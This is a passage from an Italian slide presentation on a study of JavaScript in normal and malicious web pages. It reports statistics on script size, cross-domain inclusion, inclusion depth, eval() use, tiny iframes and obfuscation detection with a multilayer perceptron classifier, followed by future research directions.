  • 39. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio Il secondo bit di offuscamento → 1 script → vettore 17 features Secondo criterio: → per ogni script dei 561 → bit offuscameno analisti → addestramento di un classificatore Multilayer Perceptron ⇓ Classificatore applicato a tutti gli script di Ts Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 40. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Script iframe Script offuscati Caratterizzazione generale Grafici di distribuzione cumulativa sulla somma delle dimensioni degli script per pagina (a) Distribuzione nelle pagine Normal (b) Distribuzione nelle pagine Malicious Normal → script dimensioni maggiori: Child Script Malicious → script dimensioni maggiori: Embedded Script Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 41. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Script iframe Script offuscati Inclusione di script da URL diversi Quanto ` diffusa l’inclusione di script da url diversi? e (c) Distribuzione nelle pagine Normal (d) Distribuzione nelle pagine Malicious Normal: → il 90% pagine include Embedded Script da un altro dominio → il 20% pagine include Child Script da 2 domini diversi → il 10% pagine include Child Script da 3 domini diversi Malicious: → minima percentuale di pagine include script da 2 domini diversi Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 42. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Script iframe Script offuscati Profondit` di inclusione a livello script a A che profondit` di inclusione si arriva per includere script? a Percentuale di script calcolata sul numero totale di script (e) Distribuzione nelle pagine Normal (f) Distribuzione nelle pagine Malicious Normal: → l’85% degli script presenti ha profondit` pari a 1 a → ≈ 13% ` caratterizzato da livello di profondit` uguale a 2 e a Malicious: → l’70% degli script presenti ha profondit` pari a 1 a → ≈ 30% ` caratterizzato da livello di profondit` uguale a 2 e Sara Zambon a Caratterizzazione dei codici JavaScript nel Web
  • 43. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Script iframe Script offuscati Profondit` di inclusione a livello script a A che profondit` di inclusione si arriva per includere script? a Percentuale di script calcolata sulla dimensione degli script (g) Distribuzione nelle pagine Normal (h) Distribuzione nelle pagine Malicious Normal: → l’85% del codice incluso ha profondit` 2 a Malicious: → la situazione non varia di molto rispetto al caso precedente Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 44. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Script iframe Script offuscati Utilizzo di eval() Quanto ` diffuso l’utilizzo di eval()? e Normal: → nel 2,7% delle pagine sono presenti script contenenti eval() Malicious e Interesting: → in pi` dell’8% delle pagine sono presenti script contenenti eval() u Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 45. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Script iframe Script offuscati Utilizzo di eval() Quanto ` diffuso l’utilizzo di eval()? e (con argomento superiore ai 140 caratteri) Normal: → quasi totalit` di script contententi eval() ` del tipo Child Script a e Malicious: → maggior numero di script contententi eval() fra gli Embedded Script Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 46. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Script iframe Script offuscati Utilizzo di iframe sospettosamente piccoli Quanto ` diffusa l’inclusione di frame e iframe sospettosamente piccoli? e Normal: → l’8,5% delle pagine include un frame o un iframe praticamente invisibile → il 3% delle pagine ne include 2 → una minima percentuale di pagine arriva ad includerne 16 Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 47. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Script iframe Script offuscati Percentuali di script offuscati Quanto ` diffuso l’utilizzo di tecniche di offuscamento? e (i) Criterio “Soglie sulle features” (j) Criterio “Classificatore MLP” Soglie sulle features: → evidenzia offuscamento negli Embedded Script delle pagine Malicious Classificatore MLP: → evidenzia offuscamento quasi esclusivamente nei Child Script Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 48. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Gli sviluppi futuri Nuove analisi: 1 nuove propriet` a ⇒ possibile discernere pagine maligne da benigne? ⇒ possibile classificare pagine senza disporre di liste aggiornate sui siti infetti? 2 studio dell’aspetto dinamico della pagina ⇒ possibile distinguere manipolazioni fraudolente da legittime? Sara Zambon Caratterizzazione dei codici JavaScript nel Web